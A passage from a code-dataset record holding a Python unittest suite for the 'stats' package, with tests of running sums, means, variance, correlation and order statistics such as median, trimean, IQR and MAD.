self.imgTest\n","sub_path":"src/Image.py","file_name":"Image.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"458697033","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n## Copyright (c) 2011 Steven D'Aprano.\n## See the file stats/__init__.py for the licence terms for this software.\n\n\"\"\"Test suite for the rest of the stats package.\"\"\"\n\n# Implementation note: many test results have been calculated using a\n# HP-48GX calculator. Any reference to \"RPL\" refers to programs written\n# on the HP-48GX.\n\n\nimport collections\nimport inspect\nimport itertools\nimport math\nimport random\nimport unittest\n\nimport stats\nimport test_stats\n\n# Modules to test:\nimport stats.co\nimport stats.multivar\nimport stats.order\nimport stats.univar\n\n\n\n# === Mixin classes ===\n\nclass DoubleDataFailMixin:\n # Override tests that are based on data with 1 or 2 items.\n def testSingleData(self):\n self.assertRaises(ValueError, self.func, [23])\n def testDoubleData(self):\n self.assertRaises(ValueError, self.func, [23, 42])\n\n testSingleton = testSingleData\n\n\n# === Unit tests ===\n\n# -- co module --------------------------------------------------------\n\nclass CoGlobalsTest(test_stats.GlobalsTest):\n module = stats.co\n\n\nclass CoFeedTest(unittest.TestCase, test_stats.TestConsumerMixin):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n # Define a coroutine.\n def counter():\n # Coroutine that counts items sent in.\n c = 0\n _ = (yield None)\n while True:\n c += 1\n _ = (yield c)\n\n self.func = counter\n\n def testIsGenerator(self):\n # A bare coroutine without the @coroutine decorator will be seen\n # as a generator, due to the presence of `yield`.\n self.assertTrue(inspect.isgeneratorfunction(self.func))\n\n def testCoroutine(self):\n # Test the coroutine behaves as expected.\n cr = self.func()\n # Initialise the coroutine.\n _ = cr.send(None)\n self.assertEqual(cr.send(\"spam\"), 1)\n self.assertEqual(cr.send(\"ham\"), 2)\n self.assertEqual(cr.send(\"eggs\"), 3)\n self.assertEqual(cr.send(\"spam\"), 4)\n\n def testFeed(self):\n # Test the feed() helper behaves as expected.\n cr = self.func()\n _ = cr.send(None)\n it = stats.co.feed(cr, \"spam spam spam eggs bacon and spam\".split())\n self.assertEqual(next(it), 1)\n self.assertEqual(next(it), 2)\n self.assertEqual(next(it), 3)\n self.assertEqual(next(it), 4)\n self.assertEqual(next(it), 5)\n self.assertEqual(next(it), 6)\n self.assertEqual(next(it), 7)\n self.assertRaises(StopIteration, next, it)\n self.assertRaises(StopIteration, next, it)\n\n\nclass CoSumTest(unittest.TestCase, test_stats.TestConsumerMixin):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.co.sum\n\n def testAlias(self):\n # stats.co.sum is documented as an alias (otherwise we would have\n # to modify the docstring to hide the fact, and that's a PITA). So\n # test for it here.\n self.assertTrue(self.func is stats.running_sum)\n\n def testSum(self):\n cr = self.func()\n self.assertEqual(cr.send(3), 3)\n self.assertEqual(cr.send(5), 8)\n self.assertEqual(cr.send(0), 8)\n self.assertEqual(cr.send(-2), 6)\n self.assertEqual(cr.send(0.5), 6.5)\n self.assertEqual(cr.send(2.75), 9.25)\n\n def testSumStart(self):\n cr = self.func(12)\n self.assertEqual(cr.send(3), 15)\n self.assertEqual(cr.send(5), 20)\n self.assertEqual(cr.send(0), 20)\n self.assertEqual(cr.send(-2), 18)\n self.assertEqual(cr.send(0.5), 18.5)\n self.assertEqual(cr.send(2.75), 21.25)\n\n def testSumTortureTest(self):\n cr = self.func()\n for i in range(100):\n self.assertEqual(cr.send(1), 2*i+1)\n self.assertEqual(cr.send(1e100), 1e100)\n self.assertEqual(cr.send(1), 1e100)\n self.assertEqual(cr.send(-1e100), 2*i+2)\n\n\nclass CoMeanTest(unittest.TestCase, test_stats.TestConsumerMixin):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.co.mean\n\n def testMean(self):\n cr = self.func()\n self.assertEqual(cr.send(7), 7.0)\n self.assertEqual(cr.send(3), 5.0)\n self.assertEqual(cr.send(5), 5.0)\n self.assertEqual(cr.send(-5), 2.5)\n self.assertEqual(cr.send(0), 2.0)\n self.assertEqual(cr.send(9.5), 3.25)\n\n\nclass CoEWMATest(unittest.TestCase, test_stats.TestConsumerMixin):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.co.ewma\n\n def testAverages(self):\n # Test the calculated averages.\n cr = self.func()\n self.assertEqual(cr.send(64), 64.0)\n self.assertEqual(cr.send(32), 48.0)\n self.assertEqual(cr.send(16), 32.0)\n self.assertEqual(cr.send(8), 20.0)\n self.assertEqual(cr.send(4), 12.0)\n self.assertEqual(cr.send(2), 7.0)\n self.assertEqual(cr.send(1), 4.0)\n\n def testAveragesAlpha(self):\n # Test the calculated averages with a specified alpha.\n cr = self.func(0.75)\n self.assertEqual(cr.send(64), 64.0)\n self.assertEqual(cr.send(32), 40.0)\n self.assertEqual(cr.send(58), 53.5)\n self.assertEqual(cr.send(48), 49.375)\n\n def testBadAlpha(self):\n # Test behaviour with an invalid alpha.\n for a in (None, 'spam', [1], (2,3), {}):\n self.assertRaises(stats.StatsError, self.func, a)\n\n\nclass CoWelfordTest(unittest.TestCase, test_stats.TestConsumerMixin):\n # Test private _welford function.\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.co._welford\n\n def test_welford(self):\n cr = self.func()\n # Expected results calculated by hand, then confirmed using this\n # RPL program: « Σ+ PVAR NΣ * »\n self.assertEqual(cr.send(2), (1, 0.0))\n self.assertEqual(cr.send(3), (2, 0.5))\n self.assertEqual(cr.send(4), (3, 2.0))\n self.assertEqual(cr.send(5), (4, 5.0))\n self.assertEqual(cr.send(6), (5, 10.0))\n cr = self.func()\n # Here I got lazy, and didn't bother with the hand calculations :)\n self.assertEqual(cr.send(3), (1, 0.0))\n self.assertEqual(cr.send(5), (2, 2.0))\n self.assertEqual(cr.send(4), (3, 2.0))\n self.assertEqual(cr.send(3), (4, 2.75))\n self.assertEqual(cr.send(5), (5, 4.0))\n self.assertEqual(cr.send(4), (6, 4.0))\n t = cr.send(-2)\n t = (t[0], round(t[1], 10))\n self.assertEqual(t, (7, 34.8571428571))\n\n\nclass CoPVarTest(test_stats.NumericTestCase, test_stats.TestConsumerMixin):\n # Test coroutine population variance.\n tol = 2e-7\n rel = 2e-7\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.co.pvariance\n self.data = [2, 3, 5, 1, 3.5]\n self.expected = [0.0, 0.25, 14/9, 2.1875, 1.84]\n\n def testMain(self):\n cr = self.func()\n for x, expected in zip(self.data, self.expected):\n self.assertApproxEqual(cr.send(x), expected, tol=3e-16, rel=None)\n\n def testShift(self):\n cr1 = self.func()\n data1 = [random.gauss(3.5, 2.5) for _ in range(50)]\n expected = list(stats.co.feed(cr1, data1))\n cr2 = self.func()\n data2 = [x + 1e9 for x in data1]\n result = list(stats.co.feed(cr2, data2))\n self._compare_lists(result, expected)\n\n def _compare_lists(self, actual, expected):\n assert len(actual) == len(expected)\n for a,e in zip(actual, expected):\n if math.isnan(a) and math.isnan(e):\n self.assertTrue(True)\n else:\n self.assertApproxEqual(a, e)\n\n\nclass CoPstdevTest(CoPVarTest):\n # Test coroutine population std dev.\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.co.pstdev\n self.expected = [math.sqrt(x) for x in self.expected]\n\n\nclass CoVarTest(CoPVarTest):\n # Test coroutine sample variance.\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.co.variance\n n = len(self.data)\n self.first = self.data[0]\n del self.data[0]\n self.expected = [x*i/(i-1) for i,x in enumerate(self.expected[1:], 2)]\n\n def testMain(self):\n cr = self.func()\n x = cr.send(self.first)\n self.assertTrue(math.isnan(x), 'expected nan but got %r' % x)\n for x, expected in zip(self.data, self.expected):\n self.assertApproxEqual(cr.send(x), expected)\n\n\nclass CoStdevTest(CoVarTest):\n # Test coroutine sample std dev.\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.co.stdev\n self.expected = [math.sqrt(x) for x in self.expected]\n\n\nclass CoCorrTest(test_stats.NumericTestCase):\n tol = 1e-14\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.co.corr\n\n def make_data(self, n):\n \"\"\"Return n pairs of data.\"\"\"\n def rand():\n return random.uniform(-0.5, 0.5)\n def f(x):\n return (2.3+rand())*x - (0.3+rand())\n domain = range(-17, -17+3*n, 3)\n assert len(domain) == n\n data = [(x, f(x)) for x in domain]\n random.shuffle(data)\n return data\n\n def get_final_result(self, values):\n cr = self.func()\n for xy in values:\n result = cr.send(xy)\n return result\n\n def testOrder(self):\n # The order that data is presented shouldn't matter to the\n # final result (although intermediate results may differ).\n xydata = self.make_data(100)\n a = self.get_final_result(xydata)\n random.shuffle(xydata)\n b = self.get_final_result(xydata)\n self.assertApproxEqual(a, b, tol=1e-14)\n\n def testFirstNan(self):\n # Test that the first result is always a NAN.\n for x in (-11.5, -2, 0, 0.25, 17, 45.95, 1e120):\n for y in (-8.5, -2, 0, 0.5, 31.35, 1e99):\n cr = self.func()\n self.assertTrue(math.isnan(cr.send((x,y))))\n\n def testPerfectCorrelation(self):\n xydata = [(x, 2.3*x - 0.8) for x in range(-17, 291, 3)]\n random.shuffle(xydata)\n cr = self.func()\n # Skip the equality test on the first value.\n xydata = iter(xydata)\n cr.send(next(xydata))\n for xy in xydata:\n self.assertApproxEqual(cr.send(xy), 1.0, tol=1e-15)\n\n def testPerfectAntiCorrelation(self):\n xydata = [(x, 273.4 - 3.1*x) for x in range(-22, 654, 7)]\n random.shuffle(xydata)\n cr = self.func()\n # Skip the equality test on the first value.\n xydata = iter(xydata)\n cr.send(next(xydata))\n for xy in xydata:\n self.assertApproxEqual(cr.send(xy), -1.0, tol=1e-15)\n\n def testPerfectZeroCorrelation(self):\n data = [(x, y) for x in range(1, 10) for y in range(1, 10)]\n result = self.get_final_result(data)\n self.assertApproxEqual(result, 0.0, tol=1e-15)\n\n def testExact(self):\n xdata = [0, 10, 4, 8, 8]\n ydata = [2, 6, 2, 4, 6]\n result = self.get_final_result(zip(xdata, ydata))\n self.assertEqual(result, 28/32)\n\n def testDuplicate(self):\n # corr shouldn't change if you duplicate each point.\n # Try first with a high correlation.\n xdata = [random.uniform(-5, 15) for _ in range(15)]\n ydata = [x - 0.5 + random.random() for x in xdata]\n xydata = list(zip(xdata, ydata))\n a = self.get_final_result(xydata)\n b = self.get_final_result(xydata*2)\n self.assertApproxEqual(a, b)\n # And again with a (probably) low correlation.\n ydata = [random.uniform(-5, 15) for _ in range(15)]\n xydata = list(zip(xdata, ydata))\n a = self.get_final_result(xydata)\n b = self.get_final_result(xydata*2)\n self.assertApproxEqual(a, b)\n\n def testSameCoords(self):\n # Test correlation with (X,X) coordinate pairs.\n data = [random.uniform(-3, 5) for x in range(5)] # Small list.\n result = self.get_final_result([(x, x) for x in data])\n self.assertApproxEqual(result, 1.0)\n data = [random.uniform(-30, 50) for x in range(100)] # Medium.\n result = self.get_final_result([(x, x) for x in data])\n self.assertApproxEqual(result, 1.0)\n data = [random.uniform(-3000, 5000) for x in range(100000)] # Large.\n result = self.get_final_result([(x, x) for x in data])\n self.assertApproxEqual(result, 1.0)\n\n def generate_stress_data(self, start, end, step):\n \"\"\"Generate a wide range of X and Y data for stress-testing.\"\"\"\n xfuncs = (lambda x: x,\n lambda x: 12345*x + 9876,\n lambda x: 1e9*x,\n lambda x: 1e-9*x,\n lambda x: 1e-7*x + 3,\n lambda x: 846*x - 423,\n )\n yfuncs = (lambda y: y,\n lambda y: 67890*y + 6428,\n lambda y: 1e9*y,\n lambda y: 1e-9*y,\n lambda y: 2342*y - 1171,\n )\n for i in range(start, end, step):\n xdata = [random.random() for _ in range(i)]\n ydata = [random.random() for _ in range(i)]\n for fx, fy in [(fx,fy) for fx in xfuncs for fy in yfuncs]:\n xs = [fx(x) for x in xdata]\n ys = [fy(y) for y in ydata]\n yield (xs, ys)\n\n def testStress(self):\n # Stress the corr() function looking for failures of the\n # post-condition -1 <= r <= 1.\n for xdata, ydata in self.generate_stress_data(5, 351, 23):\n cr = self.func()\n xydata = zip(xdata, ydata)\n # Skip the first value, as it is a NAN.\n cr.send(next(xydata))\n for xy in xydata:\n self.assertTrue(-1.0 <= cr.send(xy) <= 1.0)\n\n def testShift(self):\n # Shifting the data by a constant amount shouldn't change the\n # correlation. In practice, it may introduce some error. We allow\n # for that by increasing the tolerance as the shift gets bigger.\n xydata = self.make_data(100)\n a = self.get_final_result(xydata)\n offsets = [(42, -99), (1.2e6, 4.5e5), (7.8e9, 3.6e9)]\n tolerances = [self.tol, 5e-10, 1e-6]\n for (x0,y0), tol in zip(offsets, tolerances):\n data = [(x+x0, y+y0) for x,y in xydata]\n b = self.get_final_result(data)\n self.assertApproxEqual(a, b, tol=tol)\n\n\nclass CoCalcRTest(unittest.TestCase):\n # Test the _calc_r private function.\n\n def testNan(self):\n # _calc_r should return a NAN if either of the X or Y args are zero.\n result = stats.co._calc_r(0, 1, 2)\n self.assertTrue(math.isnan(result))\n result = stats.co._calc_r(1, 0, 2)\n self.assertTrue(math.isnan(result))\n\n def testAssertionFails(self):\n # _calc_r should include an assertion. Engineer a failure of it.\n if __debug__:\n self.assertRaises(AssertionError, stats.co._calc_r, 10, 10, 11)\n self.assertRaises(AssertionError, stats.co._calc_r, 10, 10, -11)\n\n def testMain(self):\n self.assertEqual(stats.co._calc_r(25, 36, 15), 0.5)\n\n\n\n# -- multivar module --------------------------------------------------\n\nclass MultivarGlobalsTest(test_stats.GlobalsTest):\n module = stats.multivar\n\n\n# -- order module -----------------------------------------------------\n\nclass OrderGlobalsTest(test_stats.GlobalsTest):\n module = stats.order\n\n\nclass OrderMinmaxTest(unittest.TestCase):\n def testAlias(self):\n # stats.order.minmax is documented as an alias (otherwise we would\n # have to modify the docstring to hide the fact, and that's a PITA).\n # So test for it here.\n self.assertTrue(stats.order.minmax is stats.minmax)\n\n\nclass OrderRoundHalfEvenTest(unittest.TestCase):\n # Test the _round_halfeven private function.\n\n def test_round(self):\n round_halfeven = stats.order._round_halfeven\n for i in range(10):\n self.assertEqual(round_halfeven(i), i)\n self.assertEqual(round_halfeven(i + 0.001), i)\n self.assertEqual(round_halfeven(i + 0.499), i)\n self.assertEqual(round_halfeven(i + 0.501), i+1)\n self.assertEqual(round_halfeven(i + 0.999), i+1)\n for i in range(0, 20, 2):\n self.assertEqual(round_halfeven(i + 0.5), i)\n for i in range(1, 20, 2):\n self.assertEqual(round_halfeven(i + 0.5), i+1)\n\n\nclass OrderMedianTest(test_stats.NumericTestCase, test_stats.UnivariateMixin):\n # Test median function with the default scheme.\n\n tol = rel = None # Default to expect exact equality.\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.median\n self.data = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9]\n self.expected = 5.5\n\n def setUp(self):\n random.shuffle(self.data)\n\n def testCalculationOdd(self):\n assert len(self.data)%2 == 1\n self.assertEqual(self.func(self.data), self.expected)\n\n def testCalculationEven(self):\n data = [0.0] + self.data\n assert len(data)%2 == 0\n self.assertEqual(self.func(data), 4.95)\n\n def testBigData(self):\n data = [x + 1e9 for x in self.data]\n expected = self.expected + 1e9\n assert expected != 1e9 # Avoid catastrophic loss of precision.\n self.assertEqual(self.func(data), expected)\n\n def testSingleton(self):\n for x in [-1.1, 0.0, 1.1, 2.2, 3.3]:\n self.assertEqual(self.func([x]), x)\n\n def testDoubling(self):\n # Median of [a,b,c...z] should be same as for [a,a,b,b,c,c...z,z].\n # First try with even number of data points.\n data = [random.random() for _ in range(100)]\n assert len(data)%2 == 0\n a = self.func(data)\n b = self.func(data*2)\n self.assertEqual(a, b)\n # Now with odd number.\n data.append(random.random())\n assert len(data)%2 == 1\n a = self.func(data)\n b = self.func(data*2)\n self.assertEqual(a, b)\n\n\nclass OrderMedianExtrasOddNoDups(unittest.TestCase):\n # Extra tests for median involving the schemes.\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.median = stats.order.median\n self.schemes = (1, 2, 3, 4)\n self.data = [11, 12, 13, 14, 15]\n self.expected = dict((scheme, 13) for scheme in self.schemes)\n\n def _validate(self):\n assert len(self.data)%2 == 1\n assert all(self.data.count(x) == 1 for x in self.data)\n\n def setUp(self):\n self._validate()\n random.shuffle(self.data)\n\n def testMedianExtras(self):\n for scheme in self.schemes:\n actual = self.median(self.data, scheme)\n self.assertEqual(actual, self.expected[scheme])\n\n\nclass OrderMedianExtrasOddDups(OrderMedianExtrasOddNoDups):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.data = [11, 12, 13, 13, 14]\n\n def _validate(self):\n assert len(self.data)%2 == 1\n\n\nclass OrderMedianExtrasEvenNoDups(OrderMedianExtrasOddNoDups):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.data = [11, 12, 13, 14, 15, 16]\n self.expected = {1: 13.5, 2: 13, 3: 14, 4: 13.5}\n\n def _validate(self):\n assert len(self.data)%2 == 0\n assert all(self.data.count(x) == 1 for x in self.data)\n\n\nclass OrderMedianExtrasEvenDups1(OrderMedianExtrasOddNoDups):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.data = [11, 12, 13, 13, 14, 14]\n self.expected = dict((scheme, 13) for scheme in self.schemes)\n\n def _validate(self):\n assert len(self.data)%2 == 0\n\n\nclass OrderMedianExtrasEvenDups2(OrderMedianExtrasEvenDups1):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.data = [11, 12, 12, 13, 13, 13]\n self.expected = {1: 12.5, 2: 12, 3: 13, 4: 12.6}\n\n\nclass OrderMidrangeTest(OrderMedianTest):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.midrange\n\n def testMidrange(self):\n self.assertEqual(self.func([1.0, 2.5]), 1.75)\n self.assertEqual(self.func([1.0, 2.0, 4.0]), 2.5)\n self.assertEqual(self.func([2.0, 4.0, 1.0]), 2.5)\n self.assertEqual(self.func([1.0, 2.5, 3.5, 5.5]), 3.25)\n self.assertEqual(self.func([1.0, 2.5, 3.5, 5.5, 1.5]), 3.25)\n\n\nclass OrderMidhingeTest(DoubleDataFailMixin, OrderMedianTest):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.midhinge\n\n def testMidhinge(self):\n # True hinges occur for n = 4N+5 items, which is 1 modulo 4.\n # We test midhinge on four test data sets, for 1, 2, 3, 0 modulo 4.\n a = [0.1, 0.4, 1.1, 1.4, 2.1, 2.4, 3.1, 3.4, 4.1, 4.4, 5.1, 5.4, 6.1]\n assert len(a) == 4*2 + 5\n b = a + [6.4]\n c = b + [7.1]\n d = c + [7.4]\n for L in (a, b, c, d):\n random.shuffle(L)\n # self.assertApproxEqual(self.func(a), 2.9, tol=1e-10, rel=None)\n self.assertEqual(self.func(a), (1.4+4.4)/2) # 2.9 + rounding error.\n self.assertEqual(self.func(b), 3.25)\n self.assertEqual(self.func(c), 3.5)\n self.assertEqual(self.func(d), 3.75)\n\n\nclass OrderTrimeanTest(\n DoubleDataFailMixin,\n test_stats.NumericTestCase,\n test_stats.UnivariateMixin\n ):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.trimean\n\n def generic_sequence_test(self, data, n, expected):\n assert len(data)%4 == n\n random.shuffle(data)\n result = self.func(data)\n self.assertEqual(result, expected)\n data = [x + 1e9 for x in data]\n result = self.func(data)\n self.assertEqual(result, expected+1e9)\n\n def testSeq0(self):\n data = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8]\n expected = ((2.2+3.3)/2 + 4.4 + 5.5 + (6.6+7.7)/2)/4\n self.generic_sequence_test(data, 0, expected)\n\n def testSeq1(self):\n data = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9]\n expected = (3.3 + 5.5*2 + 7.7)/4\n self.generic_sequence_test(data, 1, expected)\n\n def testSeq2(self):\n data = [0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9]\n expected = (2.2 + 4.4 + 5.5 + 7.7)/4\n self.generic_sequence_test(data, 2, expected)\n\n def testSeq3(self):\n data = [-1.1, 0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9]\n expected = ((1.1+2.2)/2 + 4.4*2 + (6.6+7.7)/2)/4\n self.generic_sequence_test(data, 3, expected)\n\n def testIter(self):\n data = [1.1, 3.3, 4.4, 6.6, 7.7, 9.9]\n expected = (3.3 + 4.4 + 6.6 + 7.7)/4\n self.assertEqual(self.func(iter(data)), expected)\n\n\nclass OrderRangeTest(test_stats.NumericTestCase, test_stats.UnivariateMixin):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.range\n\n def testSingleton(self):\n for x in (-3.1, 0.0, 4.2, 1.789e12):\n self.assertEqual(self.func([x]), 0)\n\n def generate_data_sets(self):\n # Yield 2-tuples of (data, expected range).\n # List arguments:\n yield ([42], 0)\n yield ([1, 5], 4)\n yield ([1.5, 4.5, 9.0], 7.5)\n yield ([5, 5, 5], 0)\n data = list(range(500))\n random.shuffle(data)\n for shift in (0, 0.5, 1234.567, -1000, 1e6, 1e9):\n d = [x + shift for x in data]\n yield (d, 499)\n # Subclass of list:\n class MyList(list):\n pass\n yield (MyList([1, 2, 3, 4, 5, 6]), 5)\n yield (MyList([-1, 0, 1, 2, 3, 4, 5]), 6)\n yield (MyList([-1, -2, -3, -4, -5]), 4)\n # Tuple arguments:\n yield ((7, 2), 5)\n yield ((7, 2, 5, 6), 5)\n yield ((3.25, 7.5, 3.25, 4.2), 4.25)\n # range objects:\n yield (range(11), 10)\n yield (range(11, -1, -1), 11)\n\n def testSequence(self):\n for data, expected in self.generate_data_sets():\n self.assertEqual(self.func(data), expected)\n\n def testIterator(self):\n for data, expected in self.generate_data_sets():\n self.assertEqual(self.func(iter(data)), expected)\n\n def testHasD2(self):\n self.assertTrue(hasattr(self.func, 'd2'))\n self.assertTrue(isinstance(self.func.d2, dict))\n\n def testInterval(self):\n # Test range with an interval argument.\n self.assertEqual(self.func([1, 5], 0.5), 4.5)\n self.assertEqual(self.func([2, 4, 6, 8], 1), 7)\n self.assertEqual(self.func([-1, 0, 1], 0.01), 2.01)\n\n def testBadInterval(self):\n exc = (TypeError, ValueError)\n for interval in (None, 'spam', [], {}, object(), len):\n self.assertRaises(exc, self.func, [1, 2, 3], interval)\n\n\nclass OrderIQRTest(\n DoubleDataFailMixin,\n test_stats.NumericTestCase,\n test_stats.UnivariateMixin\n ):\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.iqr\n self.schemes = [1, 2, 3, 4, 5, 6]\n\n def testBadScheme(self):\n # Test that a bad scheme raises an exception.\n exc = (KeyError, TypeError)\n for scheme in (-1, 1.5, \"spam\", object(), {}, [], None):\n self.assertRaises(exc, self.func, [1, 2, 3, 4], scheme)\n\n def testTriplet(self):\n # Test that data consisting of three items behaves as expected.\n data = [1, 5, 12]\n self.assertEqual(self.func(data, 'inclusive'), 5.5)\n self.assertEqual(self.func(data, 'exclusive'), 11)\n\n def testCaseInsensitive(self):\n # Test that aliases are case-insensitive.\n data = [1, 2, 3, 6, 9, 12, 18, 22]\n for name, num in stats.order.quartiles.aliases.items():\n expected = self.func(data, num)\n self.assertEqual(self.func(data, name.lower()), expected)\n self.assertEqual(self.func(data, name.upper()), expected)\n self.assertEqual(self.func(data, name.title()), expected)\n\n def same_result(self, data, scheme):\n \"\"\"Check that data gives the same result, no matter what\n order it is given in.\"\"\"\n assert len(data) > 2\n if len(data) <= 7:\n # Test every permutation exhaustively for small amounts of data.\n perms = itertools.permutations(data)\n else:\n # Take a random sample for larger amounts of data.\n data = list(data)\n perms = []\n for _ in range(50):\n random.shuffle(data)\n perms.append(data[:])\n results = [self.func(perm, scheme) for perm in perms]\n assert len(results) > 1\n self.assertTrue(len(set(results)) == 1)\n\n def testCompareOrder(self):\n # Ensure results don't depend on the order of the input.\n for scheme in self.schemes:\n for size in range(3, 12): # size % 4 -> 3,0,1,2 ...\n self.same_result(range(size), scheme)\n\n\nclass OrderMAD_Test(test_stats.UnivariateMixin, test_stats.NumericTestCase):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.mad\n\n def testSuppliedMedian(self):\n # Test that pre-calculating the median gives the same result.\n import stats.order\n for data in (range(35), range(-17, 53, 7), range(11, 79, 3)):\n result1 = self.func(data)\n m = stats.order.median(data)\n data = list(data)\n random.shuffle(data)\n result2 = self.func(data, m)\n self.assertEqual(result1, result2)\n\n def testMain(self):\n data = [-1.25, 0.5, 0.5, 1.75, 3.25, 4.5, 4.5, 6.25, 6.75, 9.75]\n expected = 2.625\n for delta in (0, 100, 1e6, 1e9):\n self.assertEqual(self.func(x+delta for x in data), expected)\n\n def testHasScaling(self):\n self.assertTrue(hasattr(self.func, 'scaling'))\n\n def testNoScaling(self):\n # Test alternative ways of spelling no scaling factor.\n data = [random.random()+23 for _ in range(100)]\n expected = self.func(data)\n for scale in (1, None, 'none'):\n self.assertEqual(self.func(data, scale=scale), expected)\n\n def testScales(self):\n data = [100*random.random()+42 for _ in range(100)]\n expected = self.func(data)\n self.assertEqual(self.func(data, scale='normal'), expected*1.4826)\n self.assertApproxEqual(\n self.func(data, scale='uniform'),\n expected*1.1547, # Documented value in docstring.\n tol=0.0001, rel=None)\n self.assertEqual(self.func(data, scale='uniform'),\n expected*math.sqrt(4/3)) # Exact value.\n for x in (-1.25, 0.0, 1.25, 4.5, 9.75):\n self.assertEqual(self.func(data, scale=x), expected*x)\n\n def testCaseInsensitiveScaling(self):\n for scale in ('normal', 'uniform', 'none'):\n data = [67*random.random()+19 for _ in range(100)]\n a = self.func(data, scale=scale.lower())\n b = self.func(data, scale=scale.upper())\n c = self.func(data, scale=scale.title())\n self.assertEqual(a, b)\n self.assertEqual(a, c)\n\n def testSchemeOdd(self):\n # Test scheme argument with odd number of data points.\n data = [23*random.random()+42 for _ in range(55)]\n assert len(data)%2 == 1\n a = self.func(data, scheme=1)\n b = self.func(data, scheme=2)\n c = self.func(data, scheme=3)\n d = self.func(data)\n self.assertEqual(a, b)\n self.assertEqual(a, c)\n self.assertEqual(a, d)\n\n def testSignEven(self):\n # Test scheme argument with even number of data points.\n data = [0.5, 1.5, 3.25, 4.25, 6.25, 6.75]\n assert len(data)%2 == 0\n self.assertEqual(self.func(data), 2.375)\n self.assertEqual(self.func(data, scheme=1), 2.375)\n self.assertEqual(self.func(data, scheme=2), 1.75)\n self.assertEqual(self.func(data, scheme=3), 2.5)\n\n\nclass OrderFiveNumTest(\n DoubleDataFailMixin,\n test_stats.NumericTestCase,\n test_stats.UnivariateMixin\n ):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.fivenum\n\n def testCompareWithQuartiles(self):\n # Compare results with those from the quartiles function using\n # the 'hinges' scheme.\n quartiles = stats.order.quartiles\n for n in range(3, 25):\n data = list(range(n))\n random.shuffle(data)\n self.assertEqual(self.func(data)[1:-1], quartiles(data, 'hinges'))\n\n def testCompareWithMinMax(self):\n # Compare results with the min and max.\n for n in range(3, 25):\n data = list(range(n))\n random.shuffle(data)\n t = self.func(data)\n self.assertEqual(t[0], min(data))\n self.assertEqual(t[-1], max(data))\n\n def testSummary(self):\n # Compare results with those calculated by hand.\n f = self.func\n self.assertEqual(f([0, 1, 2, 3, 4]), (0, 1, 2, 3, 4))\n self.assertEqual(f(range(100, 109)), (100, 102, 104, 106, 108))\n self.assertEqual(f(range(100, 110)), (100, 102, 104.5, 107, 109))\n self.assertEqual(f(range(100, 111)), (100, 102.5, 105, 107.5, 110))\n self.assertEqual(f(range(100, 112)), (100, 102.5, 105.5, 108.5, 111))\n\n def testFields(self):\n # Test that the summary result has named fields.\n names = ('minimum', 'lower_hinge', 'median', 'upper_hinge', 'maximum')\n t = self.func([1, 3, 5, 7, 9])\n self.assertEqual(t._fields, names)\n\n\nclass OrderQuartileSkewnessTest(unittest.TestCase):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.order.quartile_skewness\n\n def testFailure(self):\n # Test that function raises an exception if the arguments are\n # out of order.\n self.assertRaises(ValueError, self.func, 2, 3, 1)\n self.assertRaises(ValueError, self.func, 9, 8, 7)\n\n def testNan(self):\n # Test that the degenerate case where all three arguments are\n # equal returns NAN.\n self.assertTrue(math.isnan(self.func(1, 1, 1)))\n self.assertTrue(math.isnan(self.func(5, 5, 5)))\n\n def testSkew(self):\n # Test skew calculations.\n self.assertEqual(self.func(3, 5, 7), 0.0)\n self.assertEqual(self.func(0, 1, 10), 0.8)\n self.assertEqual(self.func(0, 9, 10), -0.8)\n\n\nclass OrderQuartilesDrMathTest(unittest.TestCase):\n # Test quartiles function against results given at the Dr Math page:\n # http://mathforum.org/library/drmath/view/60969.html\n # Q2 values are not checked in this test.\n A = range(1, 9)\n B = range(1, 10)\n C = range(1, 11)\n D = range(1, 12)\n\n def testInclusive(self):\n f = stats.order._Quartiles.inclusive\n q1, _, q3 = f(self.A)\n self.assertEqual(q1, 2.5)\n self.assertEqual(q3, 6.5)\n q1, _, q3 = f(self.B)\n self.assertEqual(q1, 3.0)\n self.assertEqual(q3, 7.0)\n q1, _, q3 = f(self.C)\n 